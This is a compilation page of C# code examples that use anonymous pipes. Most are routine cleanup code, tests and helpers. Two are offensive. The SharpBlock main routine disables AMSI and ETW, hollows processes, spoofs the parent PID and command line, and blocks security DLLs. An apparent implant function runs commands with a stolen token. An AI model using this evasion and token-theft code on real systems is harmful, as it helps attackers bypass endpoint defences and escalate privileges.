示例#1
0
        private int StopChildProcess()
        {
            int exitCode = (int)FlacDecodeCS.DecodeResultType.FileOpenReadError;

            if (null != mChildProcess)
            {
                mChildProcess.WaitForExit();
                exitCode = mChildProcess.ExitCode;
                mChildProcess.Close();
                mChildProcess = null;
            }

            if (null != mPipeServerStream)
            {
                mPipeServerStream.Close();
                mPipeServerStream = null;
            }

            if (null != mBinaryReader)
            {
                mBinaryReader.Close();
                mBinaryReader = null;
            }

            return(exitCode);
        }
示例#2
0
        void DecompressionThreadBody()
        {
            try
            {
                FileStream inStream;
                var        args = Environment.GetCommandLineArgs();
                if (args.Length > 1)
                {
                    string fn     = args[1];
                    long   offset = 0;
                    int    idx    = fn.IndexOf('@');
                    if (idx != -1)
                    {
                        offset = long.Parse(fn.Substring(idx + 1));
                        fn     = fn.Substring(0, idx);
                    }
                    inStream = new FileStream(fn, FileMode.Open, FileAccess.Read);
                    inStream.Seek(offset, SeekOrigin.Begin);
                }
                else
                {
                    inStream = new FileStream(Assembly.GetExecutingAssembly().Location, FileMode.Open, FileAccess.Read);
                    inStream.Seek(94720, SeekOrigin.Begin);
                }

                byte[] properties = new byte[5];
                if (inStream.Read(properties, 0, 5) != 5)
                {
                    throw (new Exception("input .lzma is too short"));
                }

                var decoder = new SevenZip.Compression.LZMA.Decoder();
                decoder.SetDecoderProperties(properties);

                long outSize = 0;
                for (int i = 0; i < 8; i++)
                {
                    int v = inStream.ReadByte();
                    if (v < 0)
                    {
                        throw (new Exception("Can't Read size from LZMA header"));
                    }
                    outSize |= ((long)(byte)v) << (8 * i);
                }
                long compressedSize = inStream.Length - inStream.Position;
                _TotalSize = compressedSize;
                decoder.Code(inStream, _OutPipe, compressedSize, outSize, this);
            }
            catch (Exception ex)
            {
                _DecompException = ex;
            }
            finally
            {
                _OutPipe.Close();
            }
        }
示例#3
0
 public void Stop()
 {
     m_Server.WaitForPipeDrain();
     m_Server.Close();
     m_Client.Close();
     m_Client.Dispose();
     m_Client = null;
     m_Server.Dispose();
     m_Server = null;
 }
示例#4
0
    public void ForNonSeekable(string input, params string[] lines)
    {
        using (var s = new AnonymousPipeServerStream())
            using (var c = new AnonymousPipeClientStream(s.GetClientHandleAsString()))
            {
                var bytes = Encoding.ASCII.GetBytes(input);
                s.Write(bytes, 0, bytes.Length);
                s.Close();

                var skipLF = false;
                foreach (var line in lines)
                {
                    Assert.Equal(line, c.ReadProtocolLineWithEnd(skipLF));
                    skipLF = (line.Last() == '\r');
                }
            }

        using (var s = new AnonymousPipeServerStream())
            using (var c = new AnonymousPipeClientStream(s.GetClientHandleAsString()))
            {
                var bytes = Encoding.ASCII.GetBytes(input);
                s.Write(bytes, 0, bytes.Length);
                s.Close();

                var skipLF = false;
                foreach (var line in lines)
                {
                    Assert.Equal(line.TrimEnd(LineEnds), c.ReadProtocolLine(skipLF));
                    skipLF = (line.Last() == '\r');
                }
            }
    }
        /// <summary>
        ///     Pipe the data from one graph to another graph.
        /// </summary>
        /// <param name="fromGraph">the graph to take data from</param>
        /// <param name="toGraph">the graph to take data to</param>
        public static void MigrateGraph(IGraph fromGraph, IGraph toGraph)
        {
            if (fromGraph == null)
            {
                throw new ArgumentNullException(nameof(fromGraph));
            }
            if (toGraph == null)
            {
                throw new ArgumentNullException(nameof(toGraph));
            }

            const int pipeSize = 1024;
            var       outPipe  = new AnonymousPipeServerStream(PipeDirection.Out, HandleInheritability.Inheritable, pipeSize);
            {
                using (var inPipe = new AnonymousPipeClientStream(PipeDirection.In, outPipe.ClientSafePipeHandle))
                {
                    Task.Factory.StartNew(() =>
                    {
                        GraphMlWriter.OutputGraph(fromGraph, outPipe);
                        outPipe.Flush();
                        outPipe.Close();
                    });

                    GraphMlReader.InputGraph(toGraph, inPipe);
                }
            }
        }
示例#6
0
 /// <summary>
 /// Release all resources used by this process.
 /// </summary>
 /// <param name="disposing">true to release both managed and unmanaged resources; false to release only unmanaged resources. </param>
 protected virtual void Dispose(bool disposing)
 {
     if (disposing)
     {
         _process.Close();
         _pipeServerToClient.Close();
         _pipeServerFromClient.Close();
         _pipeServerErrorFromClient.Close();
     }
 }
示例#7
0
        /// <summary>
        /// Free up resources. Has the option to kill the external process.
        /// </summary>
        /// <param name="disposeMethod">A value indicating whether the external process should be exited politely (via a signal) or killed.</param>
        public void Dispose(DisposeMethod disposeMethod)
        {
            if (!disposed)
            {
                switch (disposeMethod)
                {
                case DisposeMethod.PoliteDispose:
                    //send terminate signal.
                    messageSender.SendMessage(new ExitMessage());
                    //memory cleanup
                    pipeIn.Close();
                    pipeOut.Close();
                    break;

                case DisposeMethod.KillDispose:
                    pipeIn.Close();
                    pipeOut.Close();
                    clientProcess.Kill();
                    break;
                }
                disposed = true;
            }
        }
示例#8
0
        public int StopChildProcess()
        {
            System.Diagnostics.Debug.Assert(null != childProcess);
            childProcess.WaitForExit();
            int exitCode = childProcess.ExitCode;

            childProcess.Close();
            childProcess = null;
            pss.Close();
            br.Close();
            br = null;

            return(exitCode);
        }
示例#9
0
 public void Close()
 {
     if (!_disposed)
     {
         lock (this)
             if (!_disposed)
             {
                 _server.WaitForPipeDrain();
                 _server.Close();
                 _client.Close();
                 _disposed = true;
             }
     }
 }
示例#10
0
        public void Close()
        {
            running = false;

            try
            {
                pipeClient.Close();
            }
            catch (Exception) { }

            try
            {
                outGoingServerPipe.Close();
            }
            catch (Exception) { }

            try
            {
                inComingServerPipe.Close();
            }
            catch (Exception) { }

            try
            {
                clientOut.Close();
            }
            catch (Exception) { }

            try
            {
                clientIn.Close();
            }
            catch (Exception) { }

            try
            {
                ssw.Close();
            }
            catch (Exception) { }

            try
            {
                csw.Close();
            }
            catch (Exception) { }
        }
        Stream OpenOutput(string gitExe, string fileName, string blobHash)
        {
            if (!File.Exists(fileName))
            {
                return(null);
            }
            if (blobHash == null)
            {
                return(null);
            }

            AnonymousPipeServerStream pipe = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable);

            StartupInfo startupInfo = new GitVersionProvider.StartupInfo();

            startupInfo.dwFlags    = STARTF_USESTDHANDLES;
            startupInfo.hStdOutput = pipe.ClientSafePipeHandle;
            startupInfo.hStdInput  = GetStdHandle(STD_INPUT_HANDLE);
            startupInfo.hStdError  = GetStdHandle(STD_ERROR_HANDLE);
            startupInfo.cb         = 16;

            PROCESS_INFORMATION procInfo;

            string commandLine = "\"" + gitExe + "\" cat-file blob " + blobHash;
            string workingDir  = Path.GetDirectoryName(fileName);

            Debug.WriteLine(workingDir + "> " + commandLine);
            const uint CREATE_NO_WINDOW = 0x08000000;

            if (!CreateProcess(null, commandLine,
                               IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW, IntPtr.Zero, workingDir, ref startupInfo,
                               out procInfo))
            {
                pipe.DisposeLocalCopyOfClientHandle();
                pipe.Close();
                return(null);
            }

            pipe.DisposeLocalCopyOfClientHandle();

            return(pipe);
        }
示例#12
0
 /// <summary>
 /// Close all open handles the class manipulates.
 /// </summary>
 public void CloseHandles()
 {
     base.CloseHandles();
     try
     {
         if (PipeServer != null)
         {
             PipeServer.Close();
         }
     }
     catch { }
     try
     {
         if (PipeClient != null)
         {
             PipeClient.Close();
         }
     }
     catch { }
 }
        public void SimpleMessageTest()
        {
            var pipeServer = new AnonymousPipeServerStream(PipeDirection.In);
            var pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle);

            try
            {
                var    ps    = new PackedStream(pipeServer, pipeClient);
                var    rdn   = new Random();
                var    data  = new byte[rdn.Next(10, 1024)];
                byte[] nData = null;
                var    mre   = new ManualResetEvent(false);
                rdn.NextBytes(data);

                ps.DataReceived += (s, d) =>
                {
                    nData = d.MemoryStream.ToArray();

                    mre.Set();
                };

                ps.Write(new MemoryStream(data));

                mre.WaitOne();

                Assert.AreEqual(data.Length, nData.Length);

                for (var i = 0; i < data.Length; i++)
                {
                    Assert.AreEqual(data[i], nData[i]);
                }
            }
            finally
            {
                pipeServer.Close();
                pipeClient.Close();
            }
        }
 public static void ClosePipes()
 {
     writePipe?.Close();
     readPipe?.Close();
     shutDown = true;
 }
示例#15
0
        static void Main(string[] args)
        {
            string          program            = "c:\\windows\\system32\\cmd.exe";
            string          hostProcess        = null;
            string          programArgs        = "";
            bool            showHelp           = false;
            bool            bypassAmsi         = true;
            bool            bypassCommandLine  = true;
            bool            bypassETW          = true;
            bool            bypassHollowDetect = true;
            bool            patchedArgs        = false;
            bool            kernelBaseLoaded   = false;
            bool            showWindow         = false;
            int             ppid = -1;
            HostProcessInfo hpi  = new HostProcessInfo();

            Console.WriteLine(
                "SharpBlock by @_EthicalChaos_\n" +
                $"  DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program      = v)
                                   .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
                                   .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v))
                                   .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v))
                                   .Add("p=|product=", "Product string to block", v => blockProduct.Add(v))
                                   .Add("d=|description=", "Description string to block", v => blockDescription.Add(v))
                                   .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess  = v)
                                   .Add("ppid=", "PID of the process to use for parent process spoofing", v => ppid              = int.Parse(v))
                                   .Add("w|show", "Show the lauched process window instead of the default hide", v => showWindow = true)
                                   .Add("disable-bypass-amsi", "Disable AMSI bypassAmsi", v => bypassAmsi = false)
                                   .Add("disable-bypass-cmdline", "Disable command line bypass", v => bypassCommandLine = false)
                                   .Add("disable-bypass-etw", "Disable ETW bypass", v => bypassETW = false)
                                   .Add("disable-header-patch", "Disable process hollow detection bypass", v => bypassHollowDetect = false)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            try {
                AnonymousPipeServerStream stdOutStream = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable);
                StreamReader stdOutReader = new StreamReader(stdOutStream);
                stdOutStream.ReadMode = PipeTransmissionMode.Byte;
                Thread stdOutReaderThread = new Thread(() => StdOutReader(stdOutReader));

                IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");
                amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize");

                IntPtr ntdllBase        = WinAPI.LoadLibrary("ntdll.dll");
                IntPtr etwEventWritePtr = WinAPI.GetProcAddress(ntdllBase, "EtwEventWrite");

                Console.WriteLine($"[+] in-proc amsi 0x{amsiBase.ToInt64():x16}");
                Console.WriteLine($"[+] in-proc ntdll 0x{ntdllBase.ToInt64():x16}");

                STARTUPINFOEX startupInfo = new STARTUPINFOEX();
                startupInfo.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfo);
                uint launchFlags = WinAPI.DEBUG_PROCESS;

                if (!showWindow)
                {
                    startupInfo.StartupInfo.dwFlags = 0x00000101;
                    launchFlags |= 0x08000000;
                }

                if (ppid > 0)
                {
                    launchFlags |= 0x80000;
                    startupInfo.StartupInfo.dwFlags |= 0x101;
                    startupInfo.lpAttributeList      = InitializeProcThreadAttributeList(1);
                    SetNewProcessParent(ref startupInfo, ppid, stdOutStream.ClientSafePipeHandle.DangerousGetHandle());
                    stdOutReaderThread.Start();
                }

                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                string realProgramArgs = $"\"{hostProcess}\" {programArgs}";
                string launchedArgs    = bypassCommandLine ? $"\"{hostProcess}\"" : realProgramArgs;

                if (!CreateProcess(hostProcess != null ? hostProcess : program, launchedArgs, IntPtr.Zero, IntPtr.Zero, true, launchFlags, IntPtr.Zero, null,
                                   ref startupInfo, out pi))
                {
                    Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}");
                    return;
                }

                Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}");
                bool bContinueDebugging = true;
                Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>();
                Dictionary <uint, IntPtr> threadHandles  = new Dictionary <uint, IntPtr>();

                while (bContinueDebugging)
                {
                    IntPtr debugEventPtr        = Marshal.AllocHGlobal(1024);
                    bool   bb                   = WinAPI.WaitForDebugEvent(debugEventPtr, 1000);
                    UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE;
                    if (bb)
                    {
                        WinAPI.DEBUG_EVENT DebugEvent   = GetDebugEvent(debugEventPtr);
                        IntPtr             debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u);
                        switch (DebugEvent.dwDebugEventCode)
                        {
                        /* Uncomment if you want to see OutputDebugString output
                         * case WinAPI.OUTPUT_DEBUG_STRING_EVENT:
                         *  WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO));
                         *  IntPtr bytesRead;
                         *  byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength];
                         *  WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead);
                         *  Console.WriteLine(Encoding.ASCII.GetString(strData));
                         *  break;
                         */

                        case WinAPI.CREATE_PROCESS_DEBUG_EVENT:

                            WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO));
                            processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess;
                            threadHandles[DebugEvent.dwThreadId]   = CreateProcessDebugInfo.hThread;

                            if (bypassAmsi)
                            {
                                SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr, 0);
                            }

                            break;

                        case WinAPI.CREATE_THREAD_DEBUG_EVENT:
                            WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
                            threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread;

                            if (pi.dwProcessId == DebugEvent.dwProcessId)
                            {
                                if (bypassAmsi)
                                {
                                    SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr, 0);
                                }

                                if (bypassETW)
                                {
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);
                                }
                            }

                            break;

                        case WinAPI.EXIT_PROCESS_DEBUG_EVENT:
                            if (pi.dwProcessId == DebugEvent.dwProcessId)
                            {
                                bContinueDebugging = false;
                            }
                            break;

                        case WinAPI.LOAD_DLL_DEBUG_EVENT:
                            WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO));
                            string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]);

                            //Console.WriteLine($"[=] DLL Load: {dllPath}");

                            if (DebugEvent.dwProcessId == pi.dwProcessId)
                            {
                                // Once kernelbase.dll has loaded then update GetCommandLineW/A args
                                if (bypassCommandLine && kernelBaseLoaded && !patchedArgs)
                                {
                                    UpdateCommandLine(pi.hProcess, realProgramArgs);
                                    patchedArgs = true;
                                }

                                if (hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
                                {
                                    Console.WriteLine($"[+] Replacing host process with {program}");
                                    hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program);

                                    //Set a breakpoint on EtwEventWrite ready for us to bypass
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);

                                    //Once we have hollowed out our process we put a breakpoint on
                                    //our in-memory PE entry point.
                                    //Once the entry point is hit it means that we can then attempt to
                                    //hide our PE from prying eyes.
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint, 1);
                                }
                                else if (dllPath.EndsWith("kernelbase.dll", StringComparison.OrdinalIgnoreCase))
                                {
                                    kernelBaseLoaded = true;
                                }
                            }

                            break;

                        case WinAPI.EXCEPTION_DEBUG_EVENT:
                            WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO));

                            if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP)
                            {
                                //Check to see if the single step breakpoint is at AmsiInitalize
                                if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr)
                                {
                                    //It is, to update the thread context to return to caller with
                                    //an invalid result
                                    DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);

                                    //Set the hardware breakpoint again for AmsiInitalize
                                    SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], amsiInitalizePtr, 0);

                                    //check to see if we have hit our in-memory PE entry-point
                                }
                                else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint)
                                {
                                    //Causes crashes on some processes, for example cmd.exe, use --bypass-header-patch to disable
                                    if (bypassHollowDetect)
                                    {
                                        HideHollowedProcess(pi.hProcess, hpi);
                                    }

                                    //Catch case just in case kernelbase was the last DLL loaded
                                    if (bypassCommandLine && kernelBaseLoaded && !patchedArgs)
                                    {
                                        UpdateCommandLine(pi.hProcess, realProgramArgs);
                                        patchedArgs = true;
                                    }

                                    //No longer need the entrypoint breakpoint
                                    ClearHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], 1);
                                }
                                else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == etwEventWritePtr)
                                {
                                    //We have hit EtwEventWrite so lets just return with a fake success result
                                    OverrideReturnValue(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId], new UIntPtr(0), 5);
                                }
                            }
                            else
                            {
                                dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED;
                            }

                            //Console.WriteLine($"Exception 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionCode:x} occured at 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionAddress.ToInt64():x}");
                            break;
                        }

                        WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId,
                                                  (uint)DebugEvent.dwThreadId,
                                                  dwContinueDebugEvent);
                    }
                    if (debugEventPtr != null)
                    {
                        Marshal.FreeHGlobal(debugEventPtr);
                    }
                }

                int exitCode;
                WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode);
                Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}");

                if (stdOutReaderThread.IsAlive)
                {
                    stdOutReader.Close();
                    stdOutStream.Close();
                    //Ugly exit due to std out pipe causing hang inside thread
                    Environment.Exit(0);
                }
            }catch (Exception e) {
                Console.WriteLine($"[!] SharpBlock failed with error {e.Message}");
                Console.WriteLine(e.StackTrace);
            }
        }
示例#16
0
        /// <summary>
        /// Start a process using a stolen token
        /// C#'s System.Diagnostics.Process doesn't respect a WindowsImpersonationContext so we have to use CreateProcessWithTokenW
        /// </summary>
        /// <param name="task"></param>
        /// <param name="implant"></param>
        /// <param name="TokenHandle"></param>
        public static void StartProcessWithToken(SCTask task, SCImplant implant)
        {
            string[] split;
            string   argString;
            string   file;

            if (task.command == "shell")
            {
                split     = [email protected]().Split(' ');
                argString = string.Join(" ", split);
                file      = "cmd /c";
            }
            else
            {
                split     = [email protected]().Split(' ');
                argString = string.Join(" ", split.Skip(1).ToArray());
                file      = split[0];
            }

            // STARTUPINFO is used to control a few startup options for our new process
            Win32.Advapi32.STARTUPINFO startupInfo = new Win32.Advapi32.STARTUPINFO();
            // Use C:\Temp as directory to ensure that we have rights to start our new process
            // TODO: determine if this is safe to change
            string directory = "C:\\Temp";

            // Set security on anonymous pipe to allow any user to access
            PipeSecurity sec = new PipeSecurity();

            sec.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));


            // TODO: Use anonymous pipes instead of named pipes
            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 1024, sec))
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString()))
                {
                    try
                    {
                        startupInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
                        startupInfo.hStdError  = pipeClient.SafePipeHandle.DangerousGetHandle();
                        // STARTF_USESTDHANDLES ensures that the process will respect hStdInput/hStdOutput
                        // STARTF_USESHOWWINDOW ensures that the process will respect wShowWindow
                        startupInfo.dwFlags     = (uint)Win32.Advapi32.STARTF.STARTF_USESTDHANDLES | (uint)Win32.Advapi32.STARTF.STARTF_USESHOWWINDOW;
                        startupInfo.wShowWindow = 0;

                        // Create PROCESS_INFORMATION struct to hold info about the process we're going to start
                        Win32.Advapi32.PROCESS_INFORMATION newProc = new Win32.Advapi32.PROCESS_INFORMATION();

                        // Finally, create our new process
                        bool createProcess = Win32.Advapi32.CreateProcessWithTokenW(
                            Token.stolenHandle,     // hToken
                            IntPtr.Zero,            // dwLogonFlags
                            null,                   // lpApplicationName
                            file + " " + argString, // lpCommandLineName
                            IntPtr.Zero,            // dwCreationFlags
                            IntPtr.Zero,            // lpEnvironment
                            directory,              // lpCurrentDirectory
                            ref startupInfo,        // lpStartupInfo
                            out newProc);           // lpProcessInformation

                        Thread.Sleep(100);          // Something weird is happening if the process exits before we can capture output

                        if (createProcess)          // Process started successfully
                        {
                            Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Created process with PID " + newProc.dwProcessId);
                            SCTaskResp procStatus = new SCTaskResp(task.id, "Created process with PID " + newProc.dwProcessId);
                            implant.PostResponse(procStatus);
                            // Trying to continuously read output while the process is running.
                            using (StreamReader reader = new StreamReader(pipeServer))
                            {
                                SCTaskResp    response;
                                string        message = null;
                                List <string> output  = new List <string>();

                                try
                                {
                                    Process proc = Process.GetProcessById(newProc.dwProcessId); // We can use Process.HasExited() with this object

                                    while (!proc.HasExited)
                                    {
                                        // Will sometimes hang on ReadLine() for some reason, not sure why
                                        // Workaround for this is to time out if we don't get a result in ten seconds
                                        Action action = () =>
                                        {
                                            try
                                            {
                                                message = reader.ReadLine();
                                            }
                                            catch
                                            {
                                                // Fail silently if reader no longer exists
                                                // May happen if long running job times out?
                                            }
                                        };
                                        IAsyncResult result = action.BeginInvoke(null, null);
                                        if (result.AsyncWaitHandle.WaitOne(300000))
                                        {
                                            if (message != "" && message != null)
                                            {
                                                output.Add(message);
                                                if (output.Count >= 5) // Wait until we have five lines to send
                                                {
                                                    response = new SCTaskResp(task.id, JsonConvert.SerializeObject(output));
                                                    implant.PostResponse(response);
                                                    output.Clear();
                                                    Thread.Sleep(implant.sleep);
                                                }
                                            }
                                        }
                                        else
                                        {
                                            throw new Exception("Timed out while reading named pipe.");
                                        }
                                    }
                                }
                                catch (Exception e)
                                {
                                    // Sometimes process may exit before we get this object back
                                    if (e.Message == "Timed out while reading named pipe.") // We don't care about other exceptions
                                    {
                                        throw e;
                                    }
                                }

                                Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Process with PID " + newProc.dwProcessId + " has exited");

                                pipeClient.Close();

                                while (reader.Peek() > 0)         // Check if there is still  data in the pipe
                                {
                                    message = reader.ReadToEnd(); // Ensure we get any output that we missed when loop ended
                                    foreach (string msg in message.Split(new[] { Environment.NewLine }, StringSplitOptions.None))
                                    {
                                        output.Add(msg);
                                    }
                                }
                                if (output.Count > 0)
                                {
                                    task.status = "complete";
                                    output.Add("Execution complete.");
                                    task.message = JsonConvert.SerializeObject(output);
                                    output.Clear();
                                }
                                else
                                {
                                    task.status  = "complete";
                                    task.message = "Execution complete.";
                                }
                            }

                            pipeServer.Close();
                        }
                        else
                        {
                            string errorMessage = Marshal.GetLastWin32Error().ToString();
                            Debug.WriteLine("[!] DispatchTask -> StartProcessWithToken - ERROR starting process: " + errorMessage);
                            pipeClient.Close();
                            pipeServer.Close();
                            task.status  = "error";
                            task.message = errorMessage;
                        }
                    }
                    catch (Exception e)
                    {
                        pipeClient.Close();
                        pipeServer.Close();
                        task.status  = "error";
                        task.message = e.Message;
                    }
                }
        }